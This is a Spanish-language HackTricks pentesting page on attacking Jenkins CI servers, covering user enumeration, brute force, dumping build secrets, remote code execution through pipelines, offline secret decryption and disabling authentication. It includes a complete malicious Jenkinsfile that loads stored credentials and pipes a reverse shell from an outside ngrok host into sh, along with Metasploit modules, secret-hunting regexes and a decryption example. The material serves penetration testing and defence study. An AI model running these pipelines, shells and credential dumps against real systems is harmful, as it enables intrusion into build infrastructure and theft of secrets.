Jenkins Security

Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Red Team de AWS de HackTricks)!

Otras formas de apoyar a HackTricks:

Información Básica

Jenkins es una herramienta que ofrece un método sencillo para establecer un entorno de integración continua o entrega continua (CI/CD) para casi cualquier combinación de lenguajes de programación y repositorios de código fuente utilizando pipelines. Además, automatiza varias tareas rutinarias de desarrollo. Si bien Jenkins no elimina la necesidad de crear scripts para pasos individuales, proporciona una forma más rápida y sólida de integrar toda la secuencia de herramientas de compilación, prueba e implementación de lo que se puede construir fácilmente de forma manual.

pageBasic Jenkins Information

Enumeración sin Autenticación

Para buscar páginas interesantes de Jenkins sin autenticación como (/people o /asynchPeople, que lista los usuarios actuales) puedes usar:

msf> use auxiliary/scanner/http/jenkins_enum

Verifique si puede ejecutar comandos sin necesidad de autenticación:

msf> use auxiliary/scanner/http/jenkins_command

Sin credenciales puedes mirar dentro de la ruta /asynchPeople/ o /securityRealm/user/admin/search/index?q= para obtener nombres de usuario.

Puedes obtener la versión de Jenkins desde la ruta /oops o /error

Vulnerabilidades Conocidas

Inicio de Sesión

En la información básica puedes verificar todas las formas de iniciar sesión en Jenkins:

pageBasic Jenkins Information

Registro

Podrás encontrar instancias de Jenkins que te permiten crear una cuenta e iniciar sesión en ella. Tan simple como eso.

Inicio de Sesión SSO

También, si la funcionalidad/plugins SSO estuvieran presentes, deberías intentar iniciar sesión en la aplicación usando una cuenta de prueba (por ejemplo, una cuenta de prueba de Github/Bitbucket). Truco de aquí.

Fuerza Bruta

Jenkins carece de política de contraseñas y mitigación de fuerza bruta para nombres de usuario. Es esencial realizar fuerza bruta en los usuarios, ya que pueden estar utilizando contraseñas débiles o nombres de usuario como contraseñas, incluso nombres de usuario al revés como contraseñas.

msf> use auxiliary/scanner/http/jenkins_login

Ataque de rociado de contraseñas

Utiliza este script de Python o este script de PowerShell.

Bypass de Lista Blanca de IP

Muchas organizaciones combinan sistemas de gestión de control de código fuente (SCM) basados en SaaS como GitHub o GitLab con una solución de CI interna y autohospedada como Jenkins o TeamCity. Esta configuración permite a los sistemas de CI recibir eventos de webhook de los proveedores de control de código fuente SaaS, principalmente para activar trabajos de canalización.

Para lograr esto, las organizaciones ponen en lista blanca los rangos de IP de las plataformas SCM, permitiéndoles acceder al sistema CI interno a través de webhooks. Sin embargo, es importante tener en cuenta que cualquiera puede crear una cuenta en GitHub o GitLab y configurarla para activar un webhook, potencialmente enviando solicitudes al sistema CI interno.

Ver: https://www.cidersecurity.io/blog/research/how-we-abused-repository-webhooks-to-access-internal-ci-systems-at-scale/

Abusos Internos de Jenkins

En estos escenarios vamos a suponer que tienes una cuenta válida para acceder a Jenkins.

Dependiendo del mecanismo de Autorización configurado en Jenkins y los permisos del usuario comprometido, podrás o no realizar los siguientes ataques.

Para obtener más información, consulta la información básica:

pageBasic Jenkins Information

Listado de usuarios

Si has accedido a Jenkins, puedes listar otros usuarios registrados en http://127.0.0.1:8080/asynchPeople/

Volcado de compilaciones para encontrar secretos en texto claro

Utiliza este script para volcar las salidas de la consola de compilación y las variables de entorno de la compilación para encontrar secretos en texto claro.

python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v

Robo de Credenciales SSH

Si el usuario comprometido tiene suficientes privilegios para crear/modificar un nuevo nodo Jenkins y las credenciales SSH ya están almacenadas para acceder a otros nodos, podría robar esas credenciales creando/modificando un nodo y configurando un host que registre las credenciales sin verificar la clave del host:

Normalmente encontrarás las credenciales SSH de Jenkins en un proveedor global (/credentials/), por lo que también puedes extraerlas como lo harías con cualquier otro secreto. Más información en la sección de Extracción de secretos.

RCE en Jenkins

Obtener una shell en el servidor Jenkins le da al atacante la oportunidad de filtrar todos los secretos y variables de entorno y de explotar otras máquinas ubicadas en la misma red o incluso recopilar credenciales de la nube.

Por defecto, Jenkins se ejecutará como SYSTEM. Por lo tanto, comprometerlo dará al atacante privilegios de SYSTEM.

RCE Creando/Modificando un proyecto

Crear/Modificar un proyecto es una forma de obtener RCE en el servidor Jenkins:

pageJenkins RCE Creating/Modifying Project

RCE Ejecutando un script Groovy

También puedes obtener RCE ejecutando un script Groovy, lo cual podría ser más sigiloso que crear un nuevo proyecto:

pageJenkins RCE with Groovy Script

RCE Creando/Modificando un Pipeline

También puedes obtener RCE creando/modificando un pipeline:

pageJenkins RCE Creating/Modifying Pipeline

Explotación de Pipelines

Para explotar pipelines, aún necesitas tener acceso a Jenkins.

Construir Pipelines

Los pipelines también se pueden utilizar como mecanismo de construcción en proyectos, en ese caso se puede configurar un archivo dentro del repositorio que contenga la sintaxis del pipeline. Por defecto se usa /Jenkinsfile:

También es posible almacenar archivos de configuración de pipeline en otros lugares (en otros repositorios, por ejemplo) con el objetivo de separar el acceso al repositorio y el acceso al pipeline.

Si un atacante tiene permisos de escritura sobre ese archivo, podrá modificarlo y potencialmente activar el pipeline sin siquiera tener acceso a Jenkins. Es posible que el atacante necesite burlar algunas protecciones de rama (dependiendo de la plataforma y los privilegios del usuario, podrían ser burlados o no).

Los desencadenantes más comunes para ejecutar un pipeline personalizado son:

  • Pull request a la rama principal (o potencialmente a otras ramas)

  • Push a la rama principal (o potencialmente a otras ramas)

  • Actualizar la rama principal y esperar hasta que se ejecute de alguna manera

Si eres un usuario externo, no deberías esperar crear un PR a la rama principal del repositorio de otro usuario/organización y activar el pipeline... pero si está mal configurado, podrías comprometer completamente empresas solo explotando esto.

RCE del Pipeline

En la sección anterior de RCE ya se indicó una técnica para obtener RCE modificando un pipeline.

Verificación de Variables de Entorno

Es posible declarar variables de entorno en texto claro para todo el pipeline o para etapas específicas. Estas variables de entorno no deberían contener información sensible, pero un atacante siempre podría verificar todo el pipeline configuraciones/Jenkinsfiles:

pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {

Volcado de secretos

Para obtener información sobre cómo suelen tratarse los secretos en Jenkins, consulte la información básica:

pageBasic Jenkins Information

Las credenciales pueden estar asociadas a proveedores globales (/credentials/) o a proyectos específicos (/job/<nombre-del-proyecto>/configure). Por lo tanto, para extraer todas ellas es necesario comprometer al menos todos los proyectos que contienen secretos y ejecutar pipelines personalizados/envenenados.

Existe otro problema, para obtener un secreto dentro del entorno de un pipeline, es necesario conocer el nombre y tipo del secreto. Por ejemplo, si intentas cargar un secreto de tipo usernamePassword como un secreto de tipo string, obtendrás este error:

ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected

Aquí tienes la forma de cargar algunos tipos comunes de secretos:

withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}

Al final de esta página puedes encontrar todos los tipos de credenciales: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

La mejor manera de volcar todas las contraseñas a la vez es comprometiendo la máquina Jenkins (ejecutando un shell inverso en el nodo integrado, por ejemplo) y luego filtrando las claves maestras y las contraseñas encriptadas y descifrándolas sin conexión. Más información sobre cómo hacer esto en la sección Nodos y Agentes y en la sección Post Explotación.

Disparadores

Desde la documentación: La directiva triggers define las formas automatizadas en las que se debe volver a disparar el Pipeline. Para Pipelines integrados con una fuente como GitHub o BitBucket, es posible que no sean necesarios los triggers, ya que la integración basada en webhooks probablemente ya esté presente. Los disparadores disponibles actualmente son cron, pollSCM y upstream.

Ejemplo de Cron:

triggers { cron('H */4 * * 1-5') }

Verifica otros ejemplos en la documentación.

Nodos y Agentes

Una instancia de Jenkins puede tener diferentes agentes ejecutándose en máquinas diferentes. Desde la perspectiva de un atacante, el acceso a diferentes máquinas significa diferenciales credenciales de la nube potenciales para robar o diferente acceso a la red que podría ser abusado para explotar otras máquinas.

Para obtener más información, consulta la información básica:

pageBasic Jenkins Information

Puedes enumerar los nodos configurados en /computer/, generalmente encontrarás el **Nodo Incorporado ** (que es el nodo que ejecuta Jenkins) y potencialmente más:

Es especialmente interesante comprometer el nodo Incorporado porque contiene información sensible de Jenkins.

Para indicar que deseas ejecutar el pipeline en el nodo Jenkins incorporado, puedes especificar dentro del pipeline la siguiente configuración:

pipeline {
agent {label 'built-in'}

Ejemplo completo

Pipeline en un agente específico, con un desencadenador cron, con variables de entorno de pipeline y etapa, cargando 2 variables en un paso y enviando un shell inverso:

pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}

Post Explotación

Metasploit

msf> post/multi/gather/jenkins_gather

Secretos de Jenkins

Puedes listar los secretos accediendo a /credentials/ si tienes suficientes permisos. Ten en cuenta que esto solo listará los secretos dentro del archivo credentials.xml, pero los archivos de configuración de construcción podrían tener más credenciales.

Si puedes ver la configuración de cada proyecto, también puedes ver allí los nombres de las credenciales (secretos) que se utilizan para acceder al repositorio y otras credenciales del proyecto.

Desde Groovy

pageJenkins Dumping Secrets from Groovy

Desde el disco

Estos archivos son necesarios para descifrar los secretos de Jenkins:

  • secrets/master.key

  • secrets/hudson.util.Secret

Tales secretos generalmente se pueden encontrar en:

  • credentials.xml

  • jobs/.../build.xml

  • jobs/.../config.xml

Aquí tienes una expresión regular para encontrarlos:

# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>

Descifrar secretos de Jenkins sin conexión

Si has volcado las contraseñas necesarias para descifrar los secretos, utiliza este script para descifrar esos secretos.

python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT

Descifrar secretos de Jenkins desde Groovy

println(hudson.util.Secret.decrypt("{...}"))

Crear un nuevo usuario administrador

  1. Accede al archivo config.xml de Jenkins en /var/lib/jenkins/config.xml o C:\Program Files (x86)\Jenkins\

  2. Busca la palabra <useSecurity>true</useSecurity> y cambia la palabra true a false.

  3. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml

  4. Reinicia el servidor Jenkins: service jenkins restart

  5. Ahora ve al portal de Jenkins nuevamente y Jenkins no pedirá credenciales esta vez. Navega a "Manage Jenkins" para establecer la contraseña del administrador nuevamente.

  6. Habilita la seguridad nuevamente cambiando la configuración a <useSecurity>true</useSecurity> y reinicia Jenkins nuevamente.

Referencias

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización